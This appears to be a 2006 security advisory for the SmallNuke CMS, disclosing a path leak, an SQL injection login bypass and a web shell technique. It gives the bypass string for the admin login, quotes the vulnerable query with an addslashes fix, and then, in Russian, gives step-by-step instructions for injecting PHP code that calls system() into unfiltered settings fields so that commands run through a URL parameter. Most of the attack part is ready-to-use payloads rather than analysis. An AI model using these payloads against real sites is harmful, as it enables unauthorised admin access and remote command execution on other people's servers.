Закрыть

Permalink

Security Advisory #1 (417 hits) — 31337

Could not retrieve files.

SmallNuke v2.0 Final (may be later)

site : http://smallnuke.com/

google : SmallNuke is a free software released under the GNU/GPL.

Bug : SQL-injection, Web shell

Date : 15-03-2006


1) PATH
index.php?go=Search&modname=test&query=E133Team

2) SQL-injection
admin/admin.php
login : ' OR 1=1 /*
pass :

magic_quotes_gpc == off

admin/admin.php
42 if(isset($_POST['enter_admin'])) {
43 $key1 = $_POST['admin_name'];
44 $key2 = $_POST['admin_password'];
45
46 $code_password = md5($key2);
47 $sql = "SELECT admin_id, login, password FROM ".$conf['prefix']."_admins WHERE login='$key1' AND password='$code_password'";

change to
43 $key1 = addslashes($_POST['admin_name']);

3) Webshell how to
поля настройки не как не фильтруются
вводим в любое поле
";if ($_GET['e13']) {system($_GET['e13']);exit;}$test="
и получаем шелл по адресу
index.php?e13=команда
лучше пихать в ключевые слова сайта

4) Пароли хранятся в открытом виде




back to index